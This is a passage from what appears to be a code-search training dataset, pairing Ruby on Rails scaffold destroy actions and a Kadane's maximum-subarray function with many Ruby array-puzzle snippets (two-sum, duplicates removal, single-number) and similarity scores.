"def destroy\n @unidade_metrica = UnidadeMetrica.find(params[:id])\n @unidade_metrica.destroy\n\n respond_to do |format|\n format.html { redirect_to unidade_metricas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metric_speedtest.destroy\n respond_to do |format|\n format.html { redirect_to metric_speedtests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @major.destroy\n respond_to do |format|\n format.html { redirect_to majors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crit_requirement = CritRequirement.find(params[:id])\n @crit_requirement.destroy\n\n respond_to do |format|\n format.html { redirect_to(crit_requirements_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @health_case.destroy\n respond_to do |format|\n format.html { redirect_to health_cases_url, notice: 'Health case was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_scaff.destroy\n respond_to do |format|\n format.html { redirect_to test_scaffs_url, notice: 'Test scaff was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @certified.destroy\n respond_to do |format|\n format.html { redirect_to certifieds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @factors_user = FactorsUser.find(params[:id])\n @factors_user.destroy\n\n respond_to do |format|\n format.html { redirect_to factors_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @part_three_predict = PartThreePredict.find(params[:id])\n @part_three_predict.destroy\n\n respond_to do |format|\n format.html { redirect_to part_three_predicts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_outcome.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_outcomes_url, notice: 'Outcome was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcriterion = Subcriterion.find(params[:id])\n @subcriterion.destroy\n\n respond_to do |format|\n format.html { redirect_to subcriteria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub_cost_center_three.destroy\n respond_to do |format|\n format.html { redirect_to sub_cost_center_threes_url, notice: 'Sub cost center three was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sa_request_status.destroy\n respond_to do |format|\n format.html { redirect_to sa_request_statuses_url, notice: 'Sa request status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unit_of_measure.destroy\n respond_to do |format|\n format.html { redirect_to unit_of_measures_url, notice: 'Unit of measure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_sub_metric.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_metrics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @major.destroy\n respond_to do |format|\n format.html { redirect_to majors_url, notice: 'Major was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_class_lab.destroy\n respond_to do |format|\n format.html { redirect_to request_class_labs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maintenance_part.destroy\n respond_to do |format|\n format.html { redirect_to maintenance_parts_url, notice: 'Maintenance part was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7422815",
"0.71957785",
"0.6728011",
"0.671912",
"0.66975945",
"0.6678189",
"0.66501415",
"0.65498006",
"0.6528397",
"0.6507262",
"0.64848846",
"0.6455677",
"0.6441735",
"0.64309156",
"0.64199823",
"0.6415962",
"0.64059234",
"0.64035225",
"0.6396183",
"0.63764226",
"0.6375673",
"0.6374743",
"0.6374707",
"0.6361686",
"0.63599706",
"0.63594913",
"0.6353542",
"0.6349447",
"0.6332356",
"0.6328375",
"0.63266546",
"0.63261575",
"0.63249105",
"0.63147885",
"0.63084394",
"0.6306374",
"0.63038534",
"0.63023466",
"0.6301978",
"0.62996936",
"0.62934816",
"0.6290244",
"0.6288628",
"0.6286784",
"0.6284801",
"0.6277877",
"0.6274524",
"0.62708163",
"0.62697446",
"0.62675345",
"0.6259728",
"0.62595236",
"0.62592244",
"0.62548673",
"0.6254374",
"0.6250764",
"0.62486726",
"0.62484205",
"0.62473166",
"0.62364185",
"0.6236179",
"0.62356234",
"0.62293774",
"0.62265533",
"0.6225503",
"0.6225089",
"0.62249273",
"0.6211956",
"0.6211728",
"0.62083757",
"0.6208024",
"0.62054473",
"0.6202949",
"0.62024134",
"0.6201597",
"0.6200151",
"0.6199557",
"0.6199277",
"0.6195363",
"0.6195161",
"0.61949843",
"0.6193134",
"0.61919314",
"0.61907625",
"0.6190031",
"0.6189377",
"0.61891663",
"0.6188368",
"0.6184866",
"0.6183399",
"0.61824375",
"0.6179693",
"0.61767924",
"0.6175645",
"0.6175282",
"0.6169568",
"0.61674905",
"0.6166782",
"0.61666083",
"0.61665535"
] | 0.7606194 | 0 |
Space Complexity: o(1) creates 2 variables only, no matter value of nums | def max_sub_array(nums)
return 0 if nums.nil?
return nil if nums.empty?
max_so_far = nums[0]
max_for_sub_array = 0
nums.each do |num|
max_for_sub_array = max_for_sub_array + num
if num > max_for_sub_array
max_for_sub_array = num
end
if max_for_sub_array > max_so_far
max_so_far = max_for_sub_array
end
end
return max_so_far
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def single_number(nums)\n 2 * nums.uniq.reduce(:+) - nums.reduce(:+)\nend",
"def two_sum(nums)\n special = []\n count = 0\n x = nums.length\n i = 0\n j = 1\n while (i < x) && (i + j) < x\n \n if nums[i] + nums[i + j] == 0\n special[count] = i\n count += 1\n special[count] = i + j\n count += 1\n if i + j + 1 < x\n j = j + 1\n else \n i += 1\n j = 1\n end\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) < x\n j = j + 1\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) >= x && (i + 2) < x\n i += 1\n j = 1\n \n elsif i+2 == x && special.length != 0\n i += 3 \n elsif i+2 == x && special.length == 0\n return nil\n end \n end \n return special\nend",
"def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend",
"def problem_two\n\tfirst_num = 1 #Let first number be 1\n\tsecond_num = 1 #we need this to make 2nd num\n\tsum = 0\n\twhile sum < 4000000\n\t\tfirst_num, second_num = second_num, first_num + second_num\n\t\tif first_num.even?\t\n\t\t\tsum += first_num\t\n\t\tend\n\tend\n\tsum\nend",
"def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend",
"def two_sum(nums)\n\n\tpositions = []\n\t(0..nums.length-1).each do |n1|\n\t\t(1..nums.length).each do |n2|\n\t\t\tif n1 + n2 == 0\n\t\t\t\tpositions << [n1,n2]\n\t\t\tend\n\t\tend\n\tend\n\n\tpositions\n\nend",
"def two_sum(nums)\nend",
"def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend",
"def single_number(nums)\n a = 0\n for i in nums\n a ^= i\n end\n a\nend",
"def two_sum_brute nums\n (0...nums.length).each do |i|\n ((i + 1)...nums.length).each do |j|\n if nums[i] + nums[j] == 0\n return i, j\n end\n end\n end\n nil\nend",
"def single_number(nums)\n ones = 0\n twos = 0\n nums.each do |n|\n ones = (ones^n)&(~twos)\n twos = (twos^n)&(~ones)\n end\n\n ones\nend",
"def initialize(nums)\n @memo = []\n @len = nums.size\n nums.each_with_index do |x, i|\n if i > 0\n @memo[i] = @memo[i-1] + x\n else\n @memo[i] = x\n end\n end\n end",
"def dp(nums)\n ans = Array.new(nums.length)\n ans[0] = nums[0]\n ans[1] = [nums[0], nums[1]].max\n for i in 2...nums.length\n ans[i] = [ans[i-1], nums[i] + ans[i-2]].max \n end\n ans.max\nend",
"def single_number(nums)\n (3 * nums.uniq.sum - nums.sum) / 2\nend",
"def remove_duplicates_two(nums)\n return 0 if nums.empty?\n i = 0\n j = 1\n while j < nums.length\n if nums[i] != nums[j]\n i += 1\n nums[i] = nums[j]\n end\n j += 1\n end\n print nums\n i+1\nend",
"def single_number(nums)\n sum = 0\n nums.each do |num|\n sum ^= num\n end\n\n sum\nend",
"def two_sum(nums)\n output = []\n nums.size.times do |idx|\n 1.upto(nums.size - (idx + 1)) do |plus_idx|\n if nums[idx] + nums[idx + plus_idx] == 0\n output += [idx, idx + plus_idx]\n end\n end\n end\n output.empty? ? nil : output\nend",
"def two_sum(nums)\n\ta = 0\n\n\twhile a < nums.length\n\t\tb = a + 1\n\n\t\twhile b < nums.length\n\n\t\t\tif nums [b]+ nums[a] == 0\n\t\t\treturn [ a,b]\n\n\t\tend\n\n\t\tb+=1\n\t end\n\n\t a+=1\n\n\tend\n\n\treturn nil\n\t\nend",
"def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend",
"def two_sum(nums, target)\n map = {}\n len = nums.length\n len.times do |i|\n complement = target - nums[i]\n if map.include? complement\n return [i, map[complement]]\n end\n map[nums[i]] = i\n end\n raise \"No solution !\"\nend",
"def sub_array_memo(nums)\n\t@cache = []\n\tmax_sum(nums, nums.length)\n\[email protected]\nend",
"def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend",
"def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend",
"def makeMcNuggetNumbers(nums)\n mcNuggets = []\n counter = 0\n for i in 0..nums.count()-1\n for j in 0..nums.count()-1\n mcNuggets[counter] = nums[i] + nums[j]\n counter = counter + 1\n end\n end\n # Have to put regular mcNugget numbers back into array\n mcNuggets = mcNuggets + nums\n # Pull out duplicate numbers\n mcNuggets = mcNuggets.uniq\n mcNuggets = mcNuggets.sort\n return mcNuggets\nend",
"def two_sum(nums)\n\n\tfor index1 in 0...nums.length\n\t\t\n\t\tfor index2 in 0...nums.length\n\t\t\n\t\t\tif nums[index1] == nums[index2]*-1\n\t\t\t\treturn [index1, index2]\n\t\t\telse \n\t\t\t\treturn nil\n\t\t\tend\n\n\t\tend\n\n\tend\n\nend",
"def find_duplicate_space(nums)\n floor = 0\n ceiling = nums.length - 1\n\n while floor < ceiling\n possible_distinct_count_first_half = 0\n possible_distinct_count_second_half = 0\n count_first_half = 0\n count_second_half = 0\n\n middle_i = floor + (ceiling - floor)\n\n (floor..middle_i-1).each do |i|\n possible_distinct_count_first_half += 1\n\n count_first_half += 1 if nums[i] >= nums[floor] && nums[i] <= nums[middle_i-1]\n end\n\n (middle_i..ceiling).each do |i|\n possible_distinct_count_second_half += 1\n count_second_half += 1 if nums[i] <= nums[ceiling] && nums[i] >= nums[middle_i]\n end\n\n if count_first_half > possible_distinct_count_first_half\n ceiling = middle_i\n elsif count_second_half < possible_distinct_count_second_half\n floor = middle_i\n end\n end\n\n return nums[floor]\nend",
"def two_sum(nums)\n\titer = 0\n\tsum = 0\n\twhile iter < nums.length\n\t\titer2 = iter + 1\n\t\twhile iter2 <nums.length\n\t\t\tif nums[iter] + nums[iter2] == 0\n\t\t\t\treturn [iter, iter2]\n\t\t\tend\n\t\t\titer2+=1\n\t\tend\n\t\titer+=1\n\tend\n\n\treturn nil\nend",
"def length_of_lis(nums)\n return 0 if !nums\n return 1 if nums.size == 1\n arr = [0] * nums.size\n max = 0\n for i in 0...nums.size do \n arr[i] = 1\n for j in 0...i do \n if nums[j] < nums[i]\n arr[i] = arr[i] > arr[j] + 1 ? arr[i] : arr[j] + 1 \n end\n end\n max = [max, arr[i]].max\n end\n max\nend",
"def remove_duplicates(nums)\n nums.uniq!\n return nums.length\nend",
"def times_two(nums)\n\tnums.map do |n|\n\t\tn * 2\n\tend\nend",
"def two_sum(nums)\n\t\n\tfirst_num_index = 0\n\tsecond_num_index = 0\n\t\n\twhile first_num_index < nums.length\n\t\tsecond_num_index = first_num_index + 1\n\t\twhile second_num_index < nums.length\n\t\t\t\n\t\t\tif(nums[first_num_index] + nums[second_num_index] == 0)\n\t\t\t\treturn [first_num_index, second_num_index]\n\t\t\telse\n\t\t\t\tsecond_num_index += 1\n\t\t\tend\n\t\tend\n\t\tfirst_num_index += 1\n\tend\n\n\tnil\n\nend",
"def func2(nums)\r\n num = 0;\r\n for i in 0...nums.length\r\n for j in (i+1)..nums.length\r\n if nums[i] == nums[j]\r\n num = num + 1\r\n end\r\n end\r\n end\r\n return num \r\nend",
"def problem10()\n\tsum = 0; Prime.each(2000000) {|i| sum += i}; return sum\nend",
"def two_sum(nums, target)\n indices_array = []\n i = 0\n while i < nums.length\n j = i + 1\n while j < nums.length\n if nums[i] + nums[j] == target\n indices_array << i\n indices_array << j\n end\n j += 1\n end\n i += 1\n end\n return indices_array\nend",
"def solve(nums)\n squared = nums.map {|num| num * num}\n return squared.sort\nend",
"def two_sum(nums)\n idx1 = 0\n \n while idx1 < nums.length\n idx2 = idx1 + 1\n \n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n \n idx2 += 1\n end\n \n idx1 += 1\n end\n \n return nil\n end",
"def two_sum(nums, target)\n table = {}\n i = 0\n while i < nums.length\n table[target - nums[i]] = i\n i += 1\n end\n \n j = 0\n while j < nums.length\n if table.key?(nums[j]) && j != table[nums[j]]\n return [j, table[nums[j]]] \n end\n j += 1\n end\nend",
"def solve(nums)\n arr = nums.map {|num| num * num}\n arr.each_with_index do |el1, idx1|\n arr.each_with_index do |el2, idx2|\n if idx2 > idx1\n if arr.include?(el1 + el2)\n if (arr.index(el1 + el2) != idx1) && (arr.index(el1 + el2) != idx2)\n return true\n end\n end\n end\n end\n end\n false\nend",
"def sum_two_small_numbers(numbers)\n numbers.sort.first(2).inject(:+)\nend",
"def length_of_lis(nums)\n return 0 if nums.empty?\n dp = [1]\n max = 1\n\n (1...nums.length).each do |i|\n current_max = 0\n (0...i).each do |j|\n if nums[i] > nums[j]\n current_max = [current_max, dp[j]].max\n end\n end\n dp[i] = current_max + 1\n max = [max, dp[i]].max\n end\n\n max\nend",
"def two_sum(nums)\n\n\t#option 1\n\n\t#Every index, add with other number\n\t\t#downfall -> n^2\n\n\t#Check first to last, like a palindrome (this won't work)\n\n\t#quick sort, add numbers up to 0\n\n\t#Every Index, add with other number\n\t\t#Iterate through array\n\t\tnums.each_with_index do |number, index|\n\t\t#iterate array with each individual number\n\t\t\tnums.each_with_index do |second_number, second_index|\n\t\t\t\t#skip if it is the same number\n\t\t\t\tnext if index == second_index\n\n\t\t\t\t#if there is a match, return starting & current index\n\t\t\t\tif (number + second_number == 0)\n\t\t\t\t\treturn [index, second_index]\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\t\t#if there is no match, return nil (iterate through)\n\n\t\tnil\n\nend",
"def two_sum(nums, target)\n hash = Hash.new\n nums.each_with_index do |num, index|\n findable = target - num\n if hash[findable]\n return [nums.index(findable), index]\n end\n hash[num] = findable\n end\n require 'pry'; binding.pry\nend",
"def two_sum(nums, target)\n # i,j = 0, nums.length-1\n i = 0\n j = nums.length-1\n output = []\n while i < nums.length-1\n while j > i\n if nums[i] + nums[j] == target\n output << i << j\n end\n j-=1\n end\n i+=1\nend\nreturn output #returning index\nend",
"def solution(nums)\n nums.to_a.sort\nend",
"def two_sums(nums)\n output = []\n idx = 0\n idx2 = idx + 1\n\n while idx < nums.length\n idx2 = idx + 1\n while idx2 < nums.length\n output += [idx, idx2] if nums[idx] + nums[idx2] == 0\n idx2 += 1\n end\n idx += 1\n end\n\n output.empty? ? nil : output\nend",
"def element_times_index(nums)\n indexed_nums = []\n i = 0\n\n while i < nums.length\n num_indexed = nums[i] * i\n indexed_nums << num_indexed\n i += 1\n end\n\n return indexed_nums\nend",
"def two_sum(nums, target)\n\tnum_len = nums.length\n\tdic = {}\n\ti = 0 \n while i < num_len\t\n \tnumber = nums[i]\n \tif number == target / 2 && dic[number]\n \t\treturn [dic[number],i]\n \tend\n \tdic[number] = i\n \tmaybe = dic[target-number]\n \tif maybe && maybe != i\n \t\treturn [maybe,i]\n \t\tbreak\n \tend\n i += 1\n end\nend",
"def two_sum(nums, target)\n nums_hash = {}\n \n nums.each.with_index do |num, idx|\n nums_hash[num] = idx\n end\n \n nums.each.with_index do |num1, i|\n val = target - num1\n \n return [i, nums_hash[val]] if nums_hash[val] && nums_hash[val] != i\n end\nend",
"def calculate(nums)\n sum_of_digits = 0\n product = 1\n\n nums.each do |num|\n sum_of_digits += num.to_i\n product *= num.to_i\n end\n\n product - sum_of_digits\nend",
"def remove_duplicates(nums)\n puts nums.uniq.length\nend",
"def call(nums)\n res = []\n res = nums if nums.size == 1\n if nums.size > 1\n if nums[1] < nums[0]\n res << nums[1]\n res << nums[0]\n else\n res << nums[0]\n res << nums[1]\n end\n end\n res\n end",
"def remove_duplicates(nums)\n nums_size, cursor = 0, 0\n\n while cursor < nums.size\n num = nums[cursor]\n cursor += 1\n while nums[cursor] == num\n cursor += 1\n end\n\n nums[nums_size] = num; nums_size += 1\n end\n\n nums_size\nend",
"def array_pair_sum(nums)\n mins = []\n sorted_nums = nums.sort.reverse\n \n sorted_nums.each_with_index do |num, idx|\n mins << num if idx % 2 != 0\n end\n \n mins.inject(:+)\nend",
"def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend",
"def p6\n\trange = (1..100).to_a\n\tsquare_of_sum = range.reduce(:+) ** 2\n\tsum_of_square = (range.map{|x| x ** 2}).reduce(:+)\n\tsquare_of_sum - sum_of_square\nend",
"def wtf_nums()\r\n\tthe_wtf_num = [37107287533902102798797998220837590246510135740250, 46376937677490009712648124896970078050417018260538,\r\n\t\t\t\t\t74324986199524741059474233309513058123726617309629, 91942213363574161572522430563301811072406154908250,\r\n\t\t\t\t\t23067588207539346171171980310421047513778063246676, 89261670696623633820136378418383684178734361726757,\r\n\t\t\t\t\t28112879812849979408065481931592621691275889832738, 44274228917432520321923589422876796487670272189318,\r\n\t\t\t\t\t47451445736001306439091167216856844588711603153276, 70386486105843025439939619828917593665686757934951,\r\n\t\t\t\t\t62176457141856560629502157223196586755079324193331, 64906352462741904929101432445813822663347944758178,\r\n\t\t\t\t\t92575867718337217661963751590579239728245598838407, 58203565325359399008402633568948830189458628227828,\r\n\t\t\t\t\t80181199384826282014278194139940567587151170094390, 35398664372827112653829987240784473053190104293586,\r\n\t\t\t\t\t86515506006295864861532075273371959191420517255829, 71693888707715466499115593487603532921714970056938,\r\n\t\t\t\t\t54370070576826684624621495650076471787294438377604, 53282654108756828443191190634694037855217779295145,\r\n\t\t\t\t\t36123272525000296071075082563815656710885258350721, 45876576172410976447339110607218265236877223636045,\r\n\t\t\t\t\t17423706905851860660448207621209813287860733969412, 81142660418086830619328460811191061556940512689692,\r\n\t\t\t\t\t51934325451728388641918047049293215058642563049483, 62467221648435076201727918039944693004732956340691,\r\n\t\t\t\t\t15732444386908125794514089057706229429197107928209, 55037687525678773091862540744969844508330393682126,\r\n\t\t\t\t\t18336384825330154686196124348767681297534375946515, 80386287592878490201521685554828717201219257766954,\r\n\t\t\t\t\t78182833757993103614740356856449095527097864797581, 16726320100436897842553539920931837441497806860984,\r\n\t\t\t\t\t48403098129077791799088218795327364475675590848030, 87086987551392711854517078544161852424320693150332,\r\n\t\t\t\t\t59959406895756536782107074926966537676326235447210, 69793950679652694742597709739166693763042633987085,\r\n\t\t\t\t\t41052684708299085211399427365734116182760315001271, 65378607361501080857009149939512557028198746004375,\r\n\t\t\t\t\t35829035317434717326932123578154982629742552737307, 94953759765105305946966067683156574377167401875275,\r\n\t\t\t\t\t88902802571733229619176668713819931811048770190271, 25267680276078003013678680992525463401061632866526,\r\n\t\t\t\t\t36270218540497705585629946580636237993140746255962, 24074486908231174977792365466257246923322810917141,\r\n\t\t\t\t\t91430288197103288597806669760892938638285025333403, 34413065578016127815921815005561868836468420090470,\r\n\t\t\t\t\t23053081172816430487623791969842487255036638784583, 11487696932154902810424020138335124462181441773470,\r\n\t\t\t\t\t63783299490636259666498587618221225225512486764533, 67720186971698544312419572409913959008952310058822,\r\n\t\t\t\t\t95548255300263520781532296796249481641953868218774, 76085327132285723110424803456124867697064507995236,\r\n\t\t\t\t\t37774242535411291684276865538926205024910326572967, 23701913275725675285653248258265463092207058596522,\r\n\t\t\t\t\t29798860272258331913126375147341994889534765745501, 18495701454879288984856827726077713721403798879715,\r\n\t\t\t\t\t38298203783031473527721580348144513491373226651381, 34829543829199918180278916522431027392251122869539,\r\n\t\t\t\t\t40957953066405232632538044100059654939159879593635, 29746152185502371307642255121183693803580388584903,\r\n\t\t\t\t\t41698116222072977186158236678424689157993532961922, 62467957194401269043877107275048102390895523597457,\r\n\t\t\t\t\t23189706772547915061505504953922979530901129967519, 86188088225875314529584099251203829009407770775672,\r\n\t\t\t\t\t11306739708304724483816533873502340845647058077308, 82959174767140363198008187129011875491310547126581,\r\n\t\t\t\t\t97623331044818386269515456334926366572897563400500, 42846280183517070527831839425882145521227251250327,\r\n\t\t\t\t\t55121603546981200581762165212827652751691296897789, 32238195734329339946437501907836945765883352399886,\r\n\t\t\t\t\t75506164965184775180738168837861091527357929701337, 62177842752192623401942399639168044983993173312731,\r\n\t\t\t\t\t32924185707147349566916674687634660915035914677504, 99518671430235219628894890102423325116913619626622,\r\n\t\t\t\t\t73267460800591547471830798392868535206946944540724, 76841822524674417161514036427982273348055556214818,\r\n\t\t\t\t\t97142617910342598647204516893989422179826088076852, 87783646182799346313767754307809363333018982642090,\r\n\t\t\t\t\t10848802521674670883215120185883543223812876952786, 71329612474782464538636993009049310363619763878039,\r\n\t\t\t\t\t62184073572399794223406235393808339651327408011116, 66627891981488087797941876876144230030984490851411,\r\n\t\t\t\t\t60661826293682836764744779239180335110989069790714, 85786944089552990653640447425576083659976645795096,\r\n\t\t\t\t\t66024396409905389607120198219976047599490197230297, 64913982680032973156037120041377903785566085089252,\r\n\t\t\t\t\t16730939319872750275468906903707539413042652315011, 94809377245048795150954100921645863754710598436791,\r\n\t\t\t\t\t78639167021187492431995700641917969777599028300699, 15368713711936614952811305876380278410754449733078,\r\n\t\t\t\t\t40789923115535562561142322423255033685442488917353, 44889911501440648020369068063960672322193204149535,\r\n\t\t\t\t\t41503128880339536053299340368006977710650566631954, 81234880673210146739058568557934581403627822703280,\r\n\t\t\t\t\t82616570773948327592232845941706525094512325230608, 22918802058777319719839450180888072429661980811197,\r\n\t\t\t\t\t77158542502016545090413245809786882778948721859617, 72107838435069186155435662884062257473692284509516,\r\n\t\t\t\t\t20849603980134001723930671666823555245252804609722, 53503534226472524250874054075591789781264330331690]\r\n\t# try\r\n\treturn the_wtf_num.inject(0){ |sum, i| sum + i }\r\nend",
"def single_number(nums)\n uniques = []\n nums.each do |num|\n uniques.include?(num) ? uniques.delete(num) : uniques << num\n end\n uniques\nend",
"def two_sum(nums, target)\n hash = {}\n nums.each_with_index do |num, idx|\n other_num = target - num\n other_num_idx = hash[other_num]\n return [other_num_idx, idx] if other_num_idx\n\n hash[num] = idx\n end\n []\nend",
"def compute(n)\n a = []\n a.push(1)\n a.push(1)\n n -=1\n first = 1\n second = 1\n n.times do\n third = first + second\n first = second\n second = third\n a.push(third)\n end\n #first\n a\nend",
"def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend",
"def two_sum(nums)\n counter1 = 0\n loop do\n counter2 = 1\n while counter2 < nums.size do\n sum = nums[counter1] + nums[counter2]\n if sum == 0\n return [counter1, counter2]\n end\n counter2 += 1\n end\n\n binding.pry\n counter1 += 1\n break if counter1 > nums.size\n end\n nil\nend",
"def remove_duplicates(nums)\n \n return nums.length if nums.length <= 2\n prevNum = nums[0]\n i = 1\n arrLength = 1\n dupCount = 1\n while i<nums.length do\n if nums[i] == prevNum && dupCount < 2\n dupCount = dupCount + 1\n arrLength = arrLength + 1\n elsif nums[i] != prevNum\n prevNum = nums[i]\n dupCount = 1\n arrLength = arrLength + 1\n end\n i = i + 1\n end\n \n puts(arrLength)\n \nend",
"def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend",
"def two_sum(nums, target)\n num_hash = Hash.new\n \n nums.each_with_index do |num, idx|\n diff = target - num\n if num_hash[diff]\n return idx < num_hash[diff] ? [idx, num_hash[diff]] : [num_hash[diff], idx]\n end\n num_hash[num] = idx\n end\n null\nend",
"def okay_two_sum?(nums, target)\n output = []\n i = 0\n j = nums.length - 1\n \n while i != j\n sum = nums[i] + nums[j]\n\n if sum == target\n output << [i, j]\n end \n\n if sum <= target\n i += 1\n else\n j -= 1\n end\n end\n\n output\nend",
"def two_sum(nums, target)\r\n numsLen = nums.size\r\n returnArr = Array.new(2,0)\r\n myHashTable = {nums[0]=>0}\r\n temp = 0\r\n \r\n if numsLen < 2\r\n return returnArr\r\n else\r\n for i in 1..numsLen-1\r\n temp = target - nums[i]\r\n if myHashTable.has_key?(temp) == true\r\n returnArr[0] = myHashTable[temp]\r\n returnArr[1] = i\r\n break\r\n else\r\n myHashTable.store(nums[i],i)\r\n end\r\n end\r\n end\r\n return returnArr\r\nend",
"def two_sum(nums)\n if nums.length <2\n return nil\n end\n i = 0\n while i<nums.length\n b = i+1\n while b < nums.length\n if nums[i] + nums[b] == 0\n return [i,b]\n end\n b +=1\n end \n i+=1\n end\n return nil\nend",
"def find_duplicate(nums)\n intersection = find_first_meeting(nums)\n find_cycle_start(nums,intersection)\nend",
"def find_unsorted_subarray(nums)\n \nend",
"def nums\n return 1, 2\nend",
"def twice_as_big(num)\n num + num\nend",
"def two_sum(nums, target)\n seen = {}\n nums.each_with_index do |num, idx|\n return [seen[num], idx] if seen[num]\n\n seen[target - num] = idx\n end\nend",
"def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend",
"def two_sum(nums, target)\n sorted_nums = nums.sort\n\n last_index = sorted_nums.size - 1\n first_index = 0\n\n while true do\n if sorted_nums[last_index] + sorted_nums[first_index] > target\n last_index -= 1\n\n next\n end\n\n smaller_have_to_be = target - sorted_nums[last_index]\n\n while true do\n if sorted_nums[first_index] < smaller_have_to_be\n first_index += 1\n\n next\n end\n\n break\n end\n\n if sorted_nums[first_index] != smaller_have_to_be\n last_index -= 1\n next\n end\n\n break\n end\n\n # Find correct indexes ( because that indexs in sorted array )\n\n result = []\n nums.each_with_index do |number, index|\n if [sorted_nums[first_index], sorted_nums[last_index]].include?(number)\n result.push(index)\n end\n end\n\n result\nend",
"def adds_up(nums, target)\n\n i = 0\n while i < nums.length\n j = i + 1\n while j < nums.length\n if nums[i] == target - nums[j]\n return [i, j]\n end\n\n j += 1\n end\n\n i += 1\n end\n\n return []\nend",
"def opposite_count(nums)\n\tcount = 0\n nums.each do |i|\n nums.each do |j|\n if (j > i && i + j == 0)\n count += 1\n end\n end\n end\n return count\nend",
"def collapse(nums)\n (0...nums.length - 1).each do |i|\n if nums[i] + 1 == nums[i + 1] || nums[i] == nums[i + 1] + 1\n return nums[0...i] + nums[i + 2..-1]\n end\n end\n\n nums\nend",
"def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend",
"def two_sum(nums, target)\n map = {}\n\n (0...nums.size).each do |i|\n current_value = nums[i]\n\n if map[target - current_value]\n return [map[target - current_value] + 1, i + 1]\n else\n map[current_value] = i\n end\n end\nend",
"def collapse(nums)\n (0...nums.length - 1).each do |i|\n if nums[i] + 1 == nums[i + 1] || nums[i] == nums[i + 1] + 1\n return nums[0...i] + nums[i + 2..-1]\n end\n end\n\n nums\nend",
"def single_number(nums)\n counts = Hash.new(0)\n nums.each do |num|\n if counts[num] == 0\n counts[num] += 1\n elsif counts[num] == 1\n counts.delete(num)\n end\n end\n counts.first[0]\nend",
"def three_sum(nums)\n return [] if !nums || nums.size < 3\n ans = []\n i = 0 \n size = nums.size\n nums = nums.sort\n while i < size do \n if nums[i] == nums[i - 1] && i > 0 \n i += 1\n next\n end\n\n a = nums[i]\n target = -1 * a\n two_sum(nums[(i + 1)...size], target, a, ans)\n i += 1\n end\n ans\nend",
